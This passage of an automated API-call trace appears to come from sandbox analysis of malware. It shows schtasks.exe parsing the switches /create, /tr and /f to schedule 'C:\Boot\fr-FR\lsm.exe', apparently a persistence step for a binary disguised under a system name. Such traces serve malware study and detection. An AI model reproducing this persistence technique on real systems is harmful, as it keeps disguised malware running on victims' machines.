_ArgList=0x25c448 | out: _Buffer="|mo|") returned 4 [0083.350] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|mo|") returned 4 [0083.350] lstrlenW (lpString="|mo|") returned 4 [0083.350] lstrlenW (lpString="|mo|") returned 4 [0083.350] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0083.350] SetLastError (dwErrCode=0x0) [0083.350] SetLastError (dwErrCode=0x0) [0083.350] lstrlenW (lpString="14") returned 2 [0083.350] lstrlenW (lpString="-/") returned 2 [0083.350] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0083.350] SetLastError (dwErrCode=0x490) [0083.350] SetLastError (dwErrCode=0x490) [0083.350] SetLastError (dwErrCode=0x0) [0083.350] lstrlenW (lpString="14") returned 2 [0083.350] StrChrIW (lpStart="14", wMatch=0x3a) returned 0x0 [0083.350] SetLastError (dwErrCode=0x490) [0083.350] SetLastError (dwErrCode=0x0) [0083.350] _memicmp (_Buf1=0x37d640, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.350] lstrlenW (lpString="14") returned 2 [0083.350] lstrlenW (lpString="14") returned 2 [0083.350] lstrlenW (lpString=" \x09") returned 2 [0083.350] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0083.350] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0083.350] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0083.350] GetLastError () returned 0x0 [0083.350] lstrlenW (lpString="14") returned 2 [0083.350] lstrlenW (lpString="14") returned 2 [0083.350] GetProcessHeap () returned 0x360000 [0083.350] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x6) returned 0x377f30 [0083.350] SetLastError (dwErrCode=0x0) [0083.350] SetLastError (dwErrCode=0x0) [0083.350] lstrlenW (lpString="/tr") returned 3 [0083.350] lstrlenW (lpString="-/") returned 2 [0083.350] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.350] lstrlenW (lpString="create") returned 6 [0083.351] lstrlenW (lpString="create") returned 6 [0083.351] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.351] lstrlenW (lpString="tr") returned 2 [0083.351] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.351] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|create|") returned 8 [0083.351] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tr|") returned 4 [0083.351] lstrlenW (lpString="|create|") returned 8 [0083.351] lstrlenW (lpString="|tr|") returned 4 [0083.351] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0083.351] SetLastError (dwErrCode=0x490) [0083.351] lstrlenW (lpString="?") returned 1 [0083.351] lstrlenW (lpString="?") returned 1 [0083.351] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.351] lstrlenW (lpString="tr") returned 2 [0083.351] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.351] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|?|") returned 3 [0083.351] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tr|") returned 4 [0083.351] lstrlenW (lpString="|?|") returned 3 [0083.351] lstrlenW (lpString="|tr|") returned 4 [0083.351] SetLastError (dwErrCode=0x490) [0083.351] lstrlenW (lpString="s") returned 1 [0083.351] lstrlenW (lpString="s") returned 1 [0083.351] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.351] lstrlenW (lpString="tr") returned 2 [0083.351] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.351] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|s|") returned 3 [0083.351] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tr|") returned 4 [0083.351] lstrlenW (lpString="|s|") returned 3 [0083.351] lstrlenW (lpString="|tr|") returned 4 [0083.351] SetLastError (dwErrCode=0x490) [0083.352] lstrlenW (lpString="u") returned 1 [0083.352] lstrlenW (lpString="u") returned 1 [0083.352] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.352] lstrlenW (lpString="tr") returned 2 [0083.352] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.352] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|u|") returned 3 [0083.352] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tr|") returned 4 [0083.352] lstrlenW (lpString="|u|") returned 3 [0083.352] lstrlenW (lpString="|tr|") returned 4 [0083.352] SetLastError (dwErrCode=0x490) [0083.352] lstrlenW (lpString="p") returned 1 [0083.352] lstrlenW (lpString="p") returned 1 [0083.352] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.352] lstrlenW (lpString="tr") returned 2 [0083.352] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.352] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|p|") returned 3 [0083.352] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tr|") returned 4 [0083.352] lstrlenW (lpString="|p|") returned 3 [0083.352] lstrlenW (lpString="|tr|") returned 4 [0083.352] SetLastError (dwErrCode=0x490) [0083.352] lstrlenW (lpString="ru") returned 2 [0083.352] lstrlenW (lpString="ru") returned 2 [0083.352] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.352] lstrlenW (lpString="tr") returned 2 [0083.352] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.352] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|ru|") returned 4 [0083.352] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tr|") returned 4 [0083.352] lstrlenW (lpString="|ru|") returned 4 [0083.352] lstrlenW (lpString="|tr|") returned 4 [0083.352] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0083.352] SetLastError (dwErrCode=0x490) [0083.353] lstrlenW (lpString="rp") returned 2 [0083.353] lstrlenW (lpString="rp") returned 2 [0083.353] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.353] lstrlenW (lpString="tr") returned 2 [0083.353] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.353] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|rp|") returned 4 [0083.353] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tr|") returned 4 [0083.353] lstrlenW (lpString="|rp|") returned 4 [0083.353] lstrlenW (lpString="|tr|") returned 4 [0083.353] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0083.353] SetLastError (dwErrCode=0x490) [0083.353] lstrlenW (lpString="sc") returned 2 [0083.353] lstrlenW (lpString="sc") returned 2 [0083.353] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.353] lstrlenW (lpString="tr") returned 2 [0083.353] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.353] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|sc|") returned 4 [0083.353] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tr|") returned 4 [0083.353] lstrlenW (lpString="|sc|") returned 4 [0083.353] lstrlenW (lpString="|tr|") returned 4 [0083.353] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0083.353] SetLastError (dwErrCode=0x490) [0083.353] lstrlenW (lpString="mo") returned 2 [0083.353] lstrlenW (lpString="mo") returned 2 [0083.353] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.353] lstrlenW (lpString="tr") returned 2 [0083.353] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.353] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|mo|") returned 4 [0083.353] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tr|") returned 4 [0083.353] lstrlenW (lpString="|mo|") returned 4 [0083.354] lstrlenW (lpString="|tr|") returned 4 [0083.354] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0083.354] SetLastError (dwErrCode=0x490) [0083.354] lstrlenW (lpString="d") returned 1 [0083.354] lstrlenW (lpString="d") returned 1 [0083.354] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.354] lstrlenW (lpString="tr") returned 2 [0083.354] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.354] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|d|") returned 3 [0083.354] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tr|") returned 4 [0083.354] lstrlenW (lpString="|d|") returned 3 [0083.354] lstrlenW (lpString="|tr|") returned 4 [0083.354] SetLastError (dwErrCode=0x490) [0083.354] lstrlenW (lpString="m") returned 1 [0083.354] lstrlenW (lpString="m") returned 1 [0083.354] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.354] lstrlenW (lpString="tr") returned 2 [0083.354] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.354] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|m|") returned 3 [0083.354] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tr|") returned 4 [0083.354] lstrlenW (lpString="|m|") returned 3 [0083.354] lstrlenW (lpString="|tr|") returned 4 [0083.354] SetLastError (dwErrCode=0x490) [0083.354] lstrlenW (lpString="i") returned 1 [0083.354] lstrlenW (lpString="i") returned 1 [0083.354] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.354] lstrlenW (lpString="tr") returned 2 [0083.354] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.354] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|i|") returned 3 [0083.354] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tr|") returned 4 [0083.355] lstrlenW (lpString="|i|") returned 3 [0083.355] lstrlenW (lpString="|tr|") returned 4 [0083.355] SetLastError (dwErrCode=0x490) [0083.355] lstrlenW (lpString="tn") returned 2 [0083.355] lstrlenW (lpString="tn") returned 2 [0083.355] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.355] lstrlenW (lpString="tr") returned 2 [0083.355] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.355] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tn|") returned 4 [0083.355] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tr|") returned 4 [0083.355] lstrlenW (lpString="|tn|") returned 4 [0083.355] lstrlenW (lpString="|tr|") returned 4 [0083.355] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0083.355] SetLastError (dwErrCode=0x490) [0083.355] lstrlenW (lpString="tr") returned 2 [0083.355] lstrlenW (lpString="tr") returned 2 [0083.355] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.355] lstrlenW (lpString="tr") returned 2 [0083.355] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.355] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tr|") returned 4 [0083.355] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tr|") returned 4 [0083.355] lstrlenW (lpString="|tr|") returned 4 [0083.355] lstrlenW (lpString="|tr|") returned 4 [0083.355] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0083.355] SetLastError (dwErrCode=0x0) [0083.355] SetLastError (dwErrCode=0x0) [0083.355] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.355] lstrlenW (lpString="-/") returned 2 [0083.355] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0083.355] SetLastError (dwErrCode=0x490) [0083.355] SetLastError (dwErrCode=0x490) [0083.355] SetLastError (dwErrCode=0x0) [0083.356] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.356] StrChrIW (lpStart="'C:\\Boot\\fr-FR\\lsm.exe'", wMatch=0x3a) returned=":\\Boot\\fr-FR\\lsm.exe'" [0083.356] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.356] _memicmp (_Buf1=0x37c410, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.356] _memicmp (_Buf1=0x37d5e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.356] SetLastError (dwErrCode=0x7a) [0083.356] SetLastError (dwErrCode=0x0) [0083.356] SetLastError (dwErrCode=0x0) [0083.356] lstrlenW (lpString="'C") returned 2 [0083.356] lstrlenW (lpString="-/") returned 2 [0083.356] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0083.356] SetLastError (dwErrCode=0x490) [0083.356] SetLastError (dwErrCode=0x490) [0083.356] SetLastError (dwErrCode=0x0) [0083.356] _memicmp (_Buf1=0x37d640, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.356] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.356] GetProcessHeap () returned 0x360000 [0083.356] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37d660) returned 1 [0083.356] GetProcessHeap () returned 0x360000 [0083.356] RtlReAllocateHeap (Heap=0x360000, Flags=0xc, Ptr=0x37d660, Size=0x30) returned 0x377c10 [0083.356] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.356] lstrlenW (lpString=" \x09") returned 2 [0083.356] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0083.356] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0083.356] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0083.356] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0083.356] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0083.356] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0083.356] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0083.356] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0083.356] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0083.356] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0083.356] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0083.357] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0083.357] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0083.357] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0083.357] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0083.357] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0083.357] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0083.357] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0083.357] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0083.357] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0083.357] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0083.357] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0083.357] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0083.357] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0083.357] GetLastError () returned 0x0 [0083.357] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.357] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0083.357] SetLastError (dwErrCode=0x0) [0083.357] SetLastError (dwErrCode=0x0) [0083.357] lstrlenW (lpString="/f") returned 2 [0083.357] lstrlenW (lpString="-/") returned 2 [0083.357] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.357] lstrlenW (lpString="create") returned 6 [0083.357] lstrlenW (lpString="create") returned 6 [0083.357] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.357] lstrlenW (lpString="f") returned 1 [0083.357] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.357] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|create|") returned 8 [0083.357] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.357] lstrlenW (lpString="|create|") returned 8 [0083.357] lstrlenW (lpString="|f|") returned 3 [0083.357] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0083.357] SetLastError (dwErrCode=0x490) [0083.357] lstrlenW (lpString="?") returned 1 [0083.357] lstrlenW (lpString="?") returned 1 [0083.358] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.358] lstrlenW (lpString="f") returned 1 [0083.358] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.358] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|?|") returned 3 [0083.358] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.358] lstrlenW (lpString="|?|") returned 3 [0083.358] lstrlenW (lpString="|f|") returned 3 [0083.358] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0083.358] SetLastError (dwErrCode=0x490) [0083.358] lstrlenW (lpString="s") returned 1 [0083.358] lstrlenW (lpString="s") returned 1 [0083.358] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.358] lstrlenW (lpString="f") returned 1 [0083.358] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.358] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|s|") returned 3 [0083.358] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.358] lstrlenW (lpString="|s|") returned 3 [0083.358] lstrlenW (lpString="|f|") returned 3 [0083.358] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0083.358] SetLastError (dwErrCode=0x490) [0083.358] lstrlenW (lpString="u") returned 1 [0083.358] lstrlenW (lpString="u") returned 1 [0083.358] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.358] lstrlenW (lpString="f") returned 1 [0083.358] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.358] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|u|") returned 3 [0083.358] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.377] lstrlenW (lpString="|u|") returned 3 [0083.377] lstrlenW (lpString="|f|") returned 3 [0083.377] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0083.377] SetLastError (dwErrCode=0x490) [0083.377] lstrlenW (lpString="p") returned 1 [0083.377] lstrlenW (lpString="p") returned 1 [0083.377] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.377] lstrlenW (lpString="f") returned 1 [0083.377] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.377] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|p|") returned 3 [0083.377] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.377] lstrlenW (lpString="|p|") returned 3 [0083.377] lstrlenW (lpString="|f|") returned 3 [0083.377] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0083.377] SetLastError (dwErrCode=0x490) [0083.377] lstrlenW (lpString="ru") returned 2 [0083.378] lstrlenW (lpString="ru") returned 2 [0083.378] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.378] lstrlenW (lpString="f") returned 1 [0083.378] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.378] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|ru|") returned 4 [0083.378] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.378] lstrlenW (lpString="|ru|") returned 4 [0083.378] lstrlenW (lpString="|f|") returned 3 [0083.378] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0083.378] SetLastError (dwErrCode=0x490) [0083.378] lstrlenW (lpString="rp") returned 2 [0083.378] lstrlenW (lpString="rp") returned 2 [0083.378] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.378] lstrlenW (lpString="f") returned 1 [0083.378] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.378] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|rp|") returned 4 [0083.378] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.378] lstrlenW (lpString="|rp|") returned 4 [0083.378] lstrlenW (lpString="|f|") returned 3 [0083.378] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0083.378] SetLastError (dwErrCode=0x490) [0083.378] lstrlenW (lpString="sc") returned 2 [0083.378] lstrlenW (lpString="sc") returned 2 [0083.378] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.378] lstrlenW (lpString="f") returned 1 [0083.378] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.378] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|sc|") returned 4 [0083.378] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.378] lstrlenW (lpString="|sc|") returned 4 [0083.379] lstrlenW (lpString="|f|") returned 3 [0083.379] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0083.379] SetLastError (dwErrCode=0x490) [0083.379] lstrlenW (lpString="mo") returned 2 [0083.379] lstrlenW (lpString="mo") returned 2 [0083.379] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.379] lstrlenW (lpString="f") returned 1 [0083.379] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.379] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|mo|") returned 4 [0083.379] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.379] lstrlenW (lpString="|mo|") returned 4 [0083.379] lstrlenW (lpString="|f|") returned 3 [0083.379] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0083.379] SetLastError (dwErrCode=0x490) [0083.379] lstrlenW (lpString="d") returned 1 [0083.379] lstrlenW (lpString="d") returned 1 [0083.379] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.379] lstrlenW (lpString="f") returned 1 [0083.379] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.379] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|d|") returned 3 [0083.379] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.379] lstrlenW (lpString="|d|") returned 3 [0083.379] lstrlenW (lpString="|f|") returned 3 [0083.379] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0083.379] SetLastError (dwErrCode=0x490) [0083.379] lstrlenW (lpString="m") returned 1 [0083.379] lstrlenW (lpString="m") returned 1 [0083.379] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.379] lstrlenW (lpString="f") returned 1 [0083.379] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.380] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|m|") returned 3 [0083.380] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.380] lstrlenW (lpString="|m|") returned 3 [0083.380] lstrlenW (lpString="|f|") returned 3 [0083.380] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0083.380] SetLastError (dwErrCode=0x490) [0083.380] lstrlenW (lpString="i") returned 1 [0083.380] lstrlenW (lpString="i") returned 1 [0083.380] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.380] lstrlenW (lpString="f") returned 1 [0083.380] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.380] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|i|") returned 3 [0083.380] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|f|") returned 3 [0083.380] lstrlenW (lpString="|i|") returned 3 [0083.380] lstrlenW (lpString="|f|") returned 3 [0083.380] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0083.380] SetLastError (dwErrCode=0x490) [0083.380] lstrlenW (lpString="tn") returned 2 [0083.380] lstrlenW (lpString="tn") returned 2 [0083.380] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.380] lstrlenW (lpString="f") returned 1 [0083.380] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.380] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25c448 | out: _Buffer="|tn|") returned 4 [0083.380] _vsnwprintf (in: 